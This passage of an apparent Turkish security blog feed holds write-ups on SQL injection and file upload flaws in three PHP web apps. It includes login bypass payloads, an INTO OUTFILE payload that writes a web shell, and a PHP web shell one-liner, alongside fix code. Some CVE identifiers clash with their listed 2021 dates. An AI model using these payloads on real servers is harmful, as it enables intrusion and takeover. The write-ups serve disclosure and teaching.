        echo $users-&amp;gt;save_users();
    break;
    // ...
} ```
Bu değişiklik, sadece oturum açmış ve `type` değeri `1` olan (Yönetici) kullanıcıların bu fonksiyonu çağırmasına izin verecektir.
---
**CVE ID:** CVE-2025-69459 **İlk Yayın Tarihi:** 22 Aralık 2021 **Araştırmacı:** Tağmaç &amp;quot;Tagoletta&amp;quot; **Canonical reference:** https://www.exploit-db.com/exploits/50623 **Github Repository:** https://github.com/Tagoletta/CVE-2025-69459&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  
  <entry>
    <title>CVE-2025-69458 – Movie Rating System 1.0 - SQL Injection to RCE (Unauthenticated)</title>
    <link href="https://tagmachan.com/movie-rating-system-1-0-sql-injection-to-rce-unauthenticated-tr.tagox"/>
    <updated>2026-01-21T14:03:00Z</updated>
    <id>https://tagmachan.com/movie-rating-system-1-0-sql-injection-to-rce-unauthenticated-tr.tagox</id>
    <category term="Security Research"/>
    <summary>CVE-2025-69458: Movie Rating System 1.0 üzerinde SQL Enjeksiyonu ile RCE zafiyeti. Keşif ve exploit: Tağmaç &#39;Tagoletta&#39;. PoC exploit kodu içeren tam writeup.</summary>
    <content type="html">&lt;h3&gt;Giriş&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://tagmachan.com/cve-2025-69458-movie-rating-system-1-0-sqli-to-rce-exploit.tagox&quot;&gt;Exploit Kodunu Görüntüle&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bu raporda, &amp;quot;Movie Rating System 1.0&amp;quot; uygulamasında tespit edilen kritik bir SQL Enjeksiyonu (SQL Injection) zafiyetini ve bu zafiyetin Uzaktan Kod Yürütme (RCE) saldırısına nasıl dönüştürülebileceğini inceleyeceğiz. Bu saldırı, kimliği doğrulanmamış bir saldırganın sunucu üzerinde tam kontrol sağlamasına olanak tanır.&lt;/p&gt;
&lt;h3&gt;Zafiyet Analizi&lt;/h3&gt;
&lt;h4&gt;SQL Enjeksiyonu Noktası&lt;/h4&gt;
&lt;p&gt;Uygulamanın film detaylarını gösteren &lt;code&gt;movie_details.php&lt;/code&gt; dosyasını incelediğimizde, &lt;code&gt;id&lt;/code&gt; parametresinin yeterli güvenlik önlemleri alınmadan doğrudan SQL sorgusuna dahil edildiğini görüyoruz.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// movie_details.php içindeki Zafiyetli Kod
if(isset($_GET[&#39;id&#39;])){
    $qry = $conn-&amp;gt;query(&amp;quot;SELECT * FROM `movie_list` where id = &#39;{$_GET[&#39;id&#39;]}&#39;&amp;quot;);
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/moviesqli.png&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Yukarıdaki kodda, &lt;code&gt;$_GET[&#39;id&#39;]&lt;/code&gt; değişkeni herhangi bir temizleme işleminden geçirilmeden veya hazırlanmış ifadeler (prepared statements) kullanılmadan sorguya eklenmektedir. Bu durum, saldırganın SQL sorgusunu manipüle etmesine ve veritabanı üzerinde yetkisiz işlemler yapmasına olanak tanır.&lt;/p&gt;
&lt;h3&gt;Exploit Geliştirme&lt;/h3&gt;
&lt;p&gt;Bu zafiyeti bir RCE saldırısına dönüştürmek için geliştirdiğim exploit (&lt;code&gt;exploit.py&lt;/code&gt;) şu adımları izlemektedir:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hedef ve Sayfa Tespiti:&lt;/strong&gt; Exploit, hedef URL&#39;yi alır ve &amp;quot;Movies&amp;quot; sayfasını bularak geçerli bir film detay sayfasına (&lt;code&gt;movie_details.php?id=...&lt;/code&gt;) ulaşır.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Yol İfşası (Path Disclosure):&lt;/strong&gt;&lt;br /&gt;
Saldırgan, &lt;code&gt;id&lt;/code&gt; parametresine tek tırnak (&lt;code&gt;&#39;&lt;/code&gt;) karakteri ekleyerek bir SQL sözdizimi hatası oluşturur. Eğer sunucuda hata mesajları açıksa (&lt;code&gt;display_errors = On&lt;/code&gt;), PHP bir uyarı mesajı döndürür ve bu mesaj dosyanın sunucu üzerindeki tam fiziksel yolunu (örn. &lt;code&gt;C:&#92;xampp&#92;htdocs&#92;movie&#92;movie_details.php&lt;/code&gt;) içerir. Exploit, bu hatayı ayrıştırarak web kök dizinini (&lt;code&gt;C:/xampp/htdocs/movie/&lt;/code&gt;) elde eder.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;SQL&#39;den RCE&#39;ye (INTO OUTFILE):&lt;/strong&gt;&lt;br /&gt;
Dosya yolunu elde ettikten sonra, MySQL&#39;in &lt;code&gt;INTO OUTFILE&lt;/code&gt; özelliği kullanılarak sunucuya kötü amaçlı bir PHP dosyası yazılır.&lt;/p&gt;
&lt;p&gt;Kullanılan Payload Mantığı:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-1881&#39; OR 1881=1881 LIMIT 0,1 INTO OUTFILE &#39;C:/xampp/htdocs/movie/shell.php&#39; LINES TERMINATED BY 0x3c3f70687020... -- -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Burada &lt;code&gt;LINES TERMINATED BY&lt;/code&gt; ifadesi kritik öneme sahiptir. Normalde sorgu sonucu dosyaya yazılırken, satır sonlarına saldırganın belirlediği hex kodlanmış PHP shell kodu (&lt;code&gt;&amp;lt;?php ... system($cmd); ... ?&amp;gt;&lt;/code&gt;) eklenir. Böylece oluşturulan dosya, sunucu tarafından çalıştırılabilir bir PHP dosyası haline gelir.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Not: Bu saldırının başarılı olabilmesi için veritabanı kullanıcısının &lt;code&gt;FILE&lt;/code&gt; yetkisine sahip olması ve &lt;code&gt;secure_file_priv&lt;/code&gt; ayarının dosya yazmaya izin vermesi gerekmektedir.&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Kod Yürütme:&lt;/strong&gt;&lt;br /&gt;
Dosya başarıyla oluşturulduktan sonra, exploit &lt;code&gt;shell.php&lt;/code&gt; dosyasına bir HTTP isteği gönderir ve &lt;code&gt;whoami&lt;/code&gt; komutunu çalıştırarak sistem üzerindeki yetkisini doğrular.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Çözüm ve Kapatma&lt;/h3&gt;
&lt;p&gt;Bu kritik zafiyeti gidermek için aşağıdaki adımlar uygulanmalıdır:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Prepared Statements Kullanımı:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;SQL sorgularında kullanıcı girdilerini doğrudan birleştirmek yerine, mutlaka Hazırlanmış İfadeler (Prepared Statements) kullanılmalıdır.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Güvenli Kod Örneği:&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$stmt = $conn-&amp;gt;prepare(&amp;quot;SELECT * FROM `movie_list` where id = ?&amp;quot;);
$stmt-&amp;gt;bind_param(&amp;quot;s&amp;quot;, $_GET[&#39;id&#39;]);
$stmt-&amp;gt;execute();
$qry = $stmt-&amp;gt;get_result();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. Hata Mesajlarını Gizleme:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Canlı ortamda (production) PHP hata mesajlarının kullanıcıya gösterilmesi engellenmelidir. &lt;code&gt;php.ini&lt;/code&gt; dosyasında &lt;code&gt;display_errors = Off&lt;/code&gt; olarak ayarlanmalıdır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Veritabanı Yetkilerini Kısıtlama:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Web uygulamasının kullandığı veritabanı kullanıcısına &lt;code&gt;FILE&lt;/code&gt; gibi yüksek yetkiler verilmemelidir. Sadece gerekli olan &lt;code&gt;SELECT&lt;/code&gt;, &lt;code&gt;INSERT&lt;/code&gt;, &lt;code&gt;UPDATE&lt;/code&gt;, &lt;code&gt;DELETE&lt;/code&gt; yetkileri tanımlanmalıdır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. secure_file_priv Ayarı:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;MySQL yapılandırmasında &lt;code&gt;secure_file_priv&lt;/code&gt; ayarı, web kök dizini dışında güvenli bir dizine yönlendirilmeli veya &lt;code&gt;NULL&lt;/code&gt; olarak ayarlanarak dosya işlemleri kısıtlanmalıdır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CVE ID:&lt;/strong&gt; CVE-2025-69458&lt;br /&gt;
&lt;strong&gt;İlk Yayın Tarihi:&lt;/strong&gt; 22 Aralık 2021&lt;br /&gt;
&lt;strong&gt;Araştırmacı:&lt;/strong&gt; Tağmaç &amp;quot;Tagoletta&amp;quot;&lt;br /&gt;
&lt;strong&gt;Canonical reference:&lt;/strong&gt; &lt;a href=&quot;https://www.exploit-db.com/exploits/50622&quot;&gt;https://www.exploit-db.com/exploits/50622&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Github Repository:&lt;/strong&gt; &lt;a href=&quot;https://github.com/Tagoletta/CVE-2025-69458&quot;&gt;https://github.com/Tagoletta/CVE-2025-69458&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>CVE-2023-38890 – Online Shopping Portal 3.1 Uzaktan Kod Yürütme</title>
    <link href="https://tagmachan.com/cve-2023-38890-online-shopping-portal-31-uzaktan-kod-yurutme.tagox"/>
    <updated>2026-01-21T14:03:00Z</updated>
    <id>https://tagmachan.com/cve-2023-38890-online-shopping-portal-31-uzaktan-kod-yurutme.tagox</id>
    <category term="Security Research"/>
    <summary>CVE-2023-38890: Online Shopping Portal 3.1 üzerinde SQL Enjeksiyonu ile RCE zafiyeti. Keşif ve exploit: Tağmaç &#39;Tagoletta&#39;. PoC exploit kodu içeren tam writeup.</summary>
    <content type="html">&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://tagmachan.com/cve-2023-38890-online-shopping-portal-3-1-sql-injection-to-remote-code-execution-unauthenticated-exploit.tagox&quot;&gt;Exploit Kodunu Görüntüle&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bu zafiyet SourceCodester Online Shopping Portal sürüm 3.1&#39;i etkilemektedir.&lt;br /&gt;
SQL enjeksiyonu ve kısıtlanmamış dosya yükleme yoluyla uzaktan kimlik doğrulaması olmadan kod yürütülmesine (RCE) neden olur.&lt;/p&gt;
&lt;h3&gt;1. Keşif ve Tespit: Giriş Noktası (SQL Enjeksiyonu)&lt;/h3&gt;
&lt;p&gt;Hedefim yönetim paneliydi. Bir &amp;quot;Black Hat&amp;quot; bakış açısıyla, ilk adımım her zaman kimlik doğrulama mekanizmasını zorlamak ve zayıflık aramaktır.&lt;/p&gt;
&lt;h4&gt;Keşif Süreci&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;/admin/index.php&lt;/code&gt; adresine gittim ve standart bir giriş formuyla karşılaştım. Şifre tahmin etmekle vakit kaybetmek yerine, &lt;code&gt;username&lt;/code&gt; alanına özel karakterler girerek SQL Enjeksiyonu (SQLi) testi yaptım.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Deneme 1:&lt;/strong&gt; &lt;code&gt;admin&#39;&lt;/code&gt; -&amp;gt; Sonuç: Hata veya geçersiz giriş.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Deneme 2:&lt;/strong&gt; &lt;code&gt;&#39; OR 1=1--&lt;/code&gt; -&amp;gt; Sonuç: &lt;strong&gt;Başarılı Giriş.&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;&#39; OR 1=1--&lt;/code&gt; payload&#39;ını girerek veritabanını kandırdım. Sorgu mantığını &amp;quot;Kullanıcı adı boş olsun VEYA 1 eşittir 1 olsun&amp;quot; şeklinde değiştirdim. &lt;code&gt;1=1&lt;/code&gt; her zaman doğru olduğu için, veritabanı &lt;code&gt;admin&lt;/code&gt; tablosundaki ilk kaydı döndürdü ve şifre girmeden yönetici olarak içeri girdim.&lt;/p&gt;
&lt;h4&gt;Kök Neden Analizi (Root Cause)&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;admin/index.php&lt;/code&gt; kaynak kodunu incelediğimde zafiyetin nedeni barizdi:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$username=$_POST[&#39;username&#39;];
$ret=mysqli_query($con,&amp;quot;SELECT * FROM admin WHERE username=&#39;$username&#39; and password=&#39;$password&#39;&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/online-shopping-portal-code-1.png&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Neden Zafiyetli:&lt;/strong&gt; Geliştirici, kullanıcıdan gelen &lt;code&gt;$username&lt;/code&gt; verisini doğrudan SQL sorgusuna yapıştırmış. Hiçbir temizleme (sanitization) yok, özel karakterler kaçış dizisine alınmamış ve en önemlisi &lt;strong&gt;Hazırlanmış İfadeler (Prepared Statements)&lt;/strong&gt; kullanılmamış. Bu, ders kitaplarına konu olacak türden bir SQL Enjeksiyonudur.&lt;/p&gt;
&lt;h3&gt;2. Yetki Yükseltme: RCE Avı (Kısıtlamasız Dosya Yükleme)&lt;/h3&gt;
&lt;p&gt;Yönetici erişimini elde ettikten sonra hedefim sadece erişim değil, sunucuyu tamamen kontrol etmekti (Uzaktan Kod Çalıştırma - RCE). Uygulamanın dosya sistemiyle etkileşime giren özelliklerini aramaya başladım.&lt;/p&gt;
&lt;h4&gt;Keşif Süreci&lt;/h4&gt;
&lt;p&gt;&amp;quot;Ürün Ekle&amp;quot; (Insert Product) sayfasını (&lt;code&gt;admin/insert-product.php&lt;/code&gt;) buldum. Bu form, yöneticilerin ürün resimleri yüklemesine izin veriyordu. Bu, zararlı dosya yüklemek için mükemmel bir hedeftir.&lt;/p&gt;
&lt;p&gt;Geçerli bir resim (JPG/PNG) yerine, içinde basit bir PHP betiği olan &lt;code&gt;shell.php&lt;/code&gt; adında bir dosya yüklemeyi denedim.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Sonuç:&lt;/strong&gt; Uygulama dosyayı hiçbir hata vermeden kabul etti.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Doğrulama:&lt;/strong&gt; Yükleme dizinini (&lt;code&gt;productimages/{id}/&lt;/code&gt;) kontrol ettim ve &lt;code&gt;.php&lt;/code&gt; dosyamın sunucuda saklandığını ve çalıştırılabilir olduğunu gördüm.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Kök Neden Analizi&lt;/h4&gt;
&lt;p&gt;&lt;code&gt;admin/insert-product.php&lt;/code&gt; dosyasındaki yükleme işlemi kodları kritik derecede hatalıydı:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;move_uploaded_file($_FILES[&amp;quot;productimage1&amp;quot;][&amp;quot;tmp_name&amp;quot;],&amp;quot;productimages/$productid/&amp;quot;.$_FILES[&amp;quot;productimage1&amp;quot;][&amp;quot;name&amp;quot;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/online-shopping-portal-code-2.png&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Neden Zafiyetli:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Uzantı Kontrolü Yok:&lt;/strong&gt; Kod, dosya uzantısının güvenli olup olmadığını (örn. &lt;code&gt;.jpg&lt;/code&gt;, &lt;code&gt;.png&lt;/code&gt;) kontrol etmiyor. &lt;code&gt;.php&lt;/code&gt;, &lt;code&gt;.exe&lt;/code&gt; gibi dosyaları körü körüne kabul ediyor.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;MIME Türü Kontrolü Yok:&lt;/strong&gt; Dosyanın gerçek içeriğini doğrulamıyor.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Yeniden Adlandırma Yok:&lt;/strong&gt; Dosyayı kullanıcının verdiği orijinal isimle kaydediyor (&lt;code&gt;$_FILES[&amp;quot;...&amp;quot;][&amp;quot;name&amp;quot;]&lt;/code&gt;). Bu, saldırganın dosya yolunu kolayca tahmin etmesini sağlıyor.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;3. Silahlandırma: Exploit Geliştirme&lt;/h3&gt;
&lt;p&gt;Tespit ettiğim bu iki zafiyeti birleştirerek tam otomatik bir saldırı aracı (&lt;code&gt;exploit.py&lt;/code&gt;) geliştirdim.&lt;/p&gt;
&lt;h4&gt;Exploit Mantığı&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Oturum Başlatma:&lt;/strong&gt; &lt;code&gt;requests.session()&lt;/code&gt; kullanarak çerezleri (cookies) koruyorum, böylece bir tarayıcıyı simüle ediyorum.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Kimlik Doğrulama Atlatma:&lt;/strong&gt; &lt;code&gt;/admin/&lt;/code&gt; adresine &lt;code&gt;username&lt;/code&gt; alanında &lt;code&gt;&#39; OR 1=1-- a&lt;/code&gt; payload&#39;ı ile bir POST isteği gönderiyorum. Bu, yetkili bir yönetici oturumu açmamı sağlıyor.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Payload Oluşturma:&lt;/strong&gt; Tespit edilmemek ve çakışmaları önlemek için rastgele bir ürün adı ve shell dosya adı üretiyorum. Payload basit bir PHP web shell&#39;idir:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php if(isset($_GET[&#39;cmd&#39;])){ system($_GET[&#39;cmd&#39;]); } ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Zararlı Yükleme:&lt;/strong&gt; &lt;code&gt;insert-product.php&lt;/code&gt; sayfasına &lt;code&gt;multipart/form-data&lt;/code&gt; formatında bir POST isteği hazırlıyorum. Gerekli ürün bilgilerini dolduruyorum ve &lt;code&gt;productimage1&lt;/code&gt; alanına PHP shell dosyamı ekliyorum.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Yol Tespiti:&lt;/strong&gt; Yükleme işleminden sonra, sunucunun shell dosyasını tam olarak nereye kaydettiğini bulmak için yeni oluşturduğum ürünü aratıyorum.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Çalıştırma:&lt;/strong&gt; Son olarak, yüklenen shell&#39;in URL&#39;ini ekrana yazdırıyorum. Bu URL&#39;e &lt;code&gt;?cmd=whoami&lt;/code&gt; parametresiyle gidildiğinde sunucuda komut çalıştırılmış oluyor.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;4. İyileştirme: Nasıl Kapatılır?&lt;/h3&gt;
&lt;p&gt;Bu uygulamayı güvenli hale getirmek için kodun önemli ölçüde yeniden düzenlenmesi gerekir.&lt;/p&gt;
&lt;h4&gt;SQL Enjeksiyonunu Düzeltme&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Hazırlanmış İfadeler (Prepared Statements)&lt;/strong&gt; kullanılmalıdır. Bu, veritabanının kullanıcı girdisini kod olarak değil, sadece veri olarak işlemesini sağlar.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Güvenli Kod Örneği (&lt;code&gt;admin/index.php&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$stmt = $con-&amp;gt;prepare(&amp;quot;SELECT id, username, password FROM admin WHERE username=? AND password=?&amp;quot;);
$stmt-&amp;gt;bind_param(&amp;quot;ss&amp;quot;, $username, $password);
$stmt-&amp;gt;execute();
$result = $stmt-&amp;gt;get_result();
if ($row = $result-&amp;gt;fetch_assoc()) {
    // Giriş başarılı
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Dosya Yükleme Zafiyetini Düzeltme&lt;/h4&gt;
&lt;p&gt;Sıkı bir doğrulama ve dosya yeniden adlandırma işlemi uygulanmalıdır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Güvenli Kod Örneği (&lt;code&gt;admin/insert-product.php&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$allowed_extensions = array(&amp;quot;jpg&amp;quot;, &amp;quot;jpeg&amp;quot;, &amp;quot;png&amp;quot;, &amp;quot;gif&amp;quot;);
$filename = $_FILES[&amp;quot;productimage1&amp;quot;][&amp;quot;name&amp;quot;];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

// 1. Uzantı Kontrolü
if (!in_array($ext, $allowed_extensions)) {
    die(&amp;quot;Geçersiz dosya türü.&amp;quot;);
}

// 2. MIME Türü (İçerik) Kontrolü
$check = getimagesize($_FILES[&amp;quot;productimage1&amp;quot;][&amp;quot;tmp_name&amp;quot;]);
if ($check === false) {
    die(&amp;quot;Dosya bir resim değil.&amp;quot;);
}

// 3. Yeniden Adlandırma (Üzerine yazmayı ve çalıştırmayı önleme)
$new_filename = md5(time() . $filename) . &#39;.&#39; . $ext;
move_uploaded_file($_FILES[&amp;quot;productimage1&amp;quot;][&amp;quot;tmp_name&amp;quot;], &amp;quot;productimages/$productid/&amp;quot; . $new_filename);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;CVE ID:&lt;/strong&gt; CVE-2023-38890&lt;br /&gt;
&lt;strong&gt;İlk Yayın Tarihi:&lt;/strong&gt; 17 Haziran 2021&lt;br /&gt;
&lt;strong&gt;Araştırmacı:&lt;/strong&gt; Tağmaç &amp;quot;Tagoletta&amp;quot;&lt;br /&gt;
&lt;strong&gt;Canonical reference:&lt;/strong&gt; &lt;a href=&quot;https://www.exploit-db.com/exploits/50029&quot;&gt;https://www.exploit-db.com/exploits/50029&lt;/a&gt;&lt;br /&gt;
&lt;strong&gt;Github Repository:&lt;/strong&gt; &lt;a href=&quot;https://github.com/Tagoletta/CVE-2023-38890&quot;&gt;https://github.com/Tagoletta/CVE-2023-38890&lt;/a&gt;&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>CVE-2025-69457 – Responsive Tourism Website 3.1 - Remote Code Execution (Unauthenticated)</title>
    <link href="https://tagmachan.com/responsive-tourism-website-3-1-remote-code-execution-unauthenticated-tr.tagox"/>
    <updated>2026-01-21T14:03:00Z</updated>
    <id>https://tagmachan.com/responsive-tourism-website-3-1-remote-code-execution-unauthenticated-tr.tagox</id>
    <category term="Security Research"/>
    <summary>CVE-2025-69457: Responsive Tourism Website 3.1 üzerinde Kimlik Doğrulama Atlatma ve Uzaktan Kod Yürütme (RCE) zafiyeti. Keşif ve exploit: Tağmaç &#39;Tagoletta&#39;. PoC exploit kodu içeren tam writeup.</summary>
    <content type="html">&lt;h3&gt;Giriş&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://tagmachan.com/cve-2025-69457-responsive-tourism-website-3-1-remote-code-execution-unauthenticated-exploit.tagox&quot;&gt;Exploit Kodunu Görüntüle&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bu raporda, &lt;strong&gt;CVE-2025-69457&lt;/strong&gt; kodu ile izlenen &amp;quot;Responsive Tourism Website 3.1&amp;quot; uygulamasında kritik bir Uzaktan Kod Yürütme (RCE) zafiyetinin nasıl keşfedildiğini ve istismar edildiğini detaylandıracağım. Bir güvenlik araştırmacısı (veya bu senaryoda bir &amp;quot;siyah şapkalı&amp;quot; hacker) olarak amacım sunucu üzerinde tam kontrol sağlamaktı. Saldırı zinciri iki farklı zafiyeti içeriyor: Kimlik doğrulamayı atlamak için SQL Enjeksiyonu ve keyfi kod yürütmek için Kısıtlanmamış Dosya Yükleme.&lt;/p&gt;
&lt;h3&gt;Zafiyet Analizi&lt;/h3&gt;
&lt;h4&gt;Aşama 1: Kimlik Doğrulama Atlatma (SQL Enjeksiyonu)&lt;/h4&gt;
&lt;p&gt;İlk hedefim &lt;code&gt;/admin/login.php&lt;/code&gt; adresindeki yönetim paneliydi. Giriş formunda standart SQL enjeksiyon yüklerini denedim ve uygulamanın &lt;code&gt;username&lt;/code&gt; alanında SQL enjeksiyonuna açık olduğunu keşfettim.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;classes/Login.php&lt;/code&gt; dosyasındaki kaynak kodunu inceledim ve temel nedeni buldum:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// classes/Login.php içindeki Zafiyetli Kod
$qry = $this-&amp;gt;conn-&amp;gt;query(&amp;quot;SELECT * from users where username = &#39;$username&#39; and password = md5(&#39;$password&#39;) &amp;quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Uygulama, kullanıcı girdisi olan &lt;code&gt;$username&lt;/code&gt; değişkenini herhangi bir temizleme veya parametreleme yapmadan doğrudan SQL sorgusuna ekliyor. Bu, saldırganın sorgu mantığını değiştirmesine olanak tanır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Kullanılan Yük (Payload):&lt;/strong&gt; &lt;code&gt;admin&#39; or &#39;1&#39;=&#39;1&#39;#&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Bu yük enjekte edildiğinde sorgu şu hale gelir:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT * from users where username = &#39;admin&#39; or &#39;1&#39;=&#39;1&#39;#&#39; and password = md5(&#39;...&#39;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/responsive-tourism-1.png&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;#&lt;/code&gt; karakteri sorgunun geri kalanını (şifre kontrolünü) yorum satırı haline getirir ve &lt;code&gt;1=1&lt;/code&gt; her zaman doğru olduğu için veritabanı ilk kullanıcı kaydını (yönetici) döndürür, böylece şifresiz giriş yapmış olurum.&lt;/p&gt;
&lt;h4&gt;Aşama 2: Uzaktan Kod Yürütme (Kısıtlanmamış Dosya Yükleme)&lt;/h4&gt;
&lt;p&gt;Yönetim paneline erişim sağladıktan sonra dosya yükleyebileceğim yerleri aradım. Kullanıcıların profil resimlerini (avatar) güncelleyebildiği &amp;quot;Kullanıcı Ayarları&amp;quot; sayfasını (&lt;code&gt;admin/?page=user&lt;/code&gt;) buldum.&lt;/p&gt;
&lt;p&gt;Bu isteği işleyen &lt;code&gt;classes/Users.php&lt;/code&gt; dosyasındaki arka uç kodunu inceledim:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// classes/Users.php içindeki Zafiyetli Kod
if(isset($_FILES[&#39;img&#39;]) &amp;amp;&amp;amp; $_FILES[&#39;img&#39;][&#39;tmp_name&#39;] != &#39;&#39;){
    $fname = &#39;uploads/&#39;.strtotime(date(&#39;y-m-d H:i&#39;)).&#39;_&#39;.$_FILES[&#39;img&#39;][&#39;name&#39;];
    $move = move_uploaded_file($_FILES[&#39;img&#39;][&#39;tmp_name&#39;],&#39;../&#39;. $fname);
    // ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/responsive-tourism-2.png&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Buradaki zafiyet çok açıktır:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Uzantı Kontrolü Yok:&lt;/strong&gt; Kod, dosya adını (&lt;code&gt;$_FILES[&#39;img&#39;][&#39;name&#39;]&lt;/code&gt;) doğrudan kullanıcıdan alır. Uzantının &lt;code&gt;.jpg&lt;/code&gt;, &lt;code&gt;.png&lt;/code&gt; veya &lt;code&gt;.php&lt;/code&gt; olup olmadığını kontrol etmez.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;İçerik Kontrolü Yok:&lt;/strong&gt; Dosyanın MIME türünü veya gerçek içeriğini doğrulamaz.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tahmin Edilebilir Yol:&lt;/strong&gt; Dosya &lt;code&gt;uploads/&lt;/code&gt; dizinine bir zaman damgası önekiyle kaydedilir, ancak orijinal uzantı korunur.&lt;/li&gt;
&lt;/ol&gt;
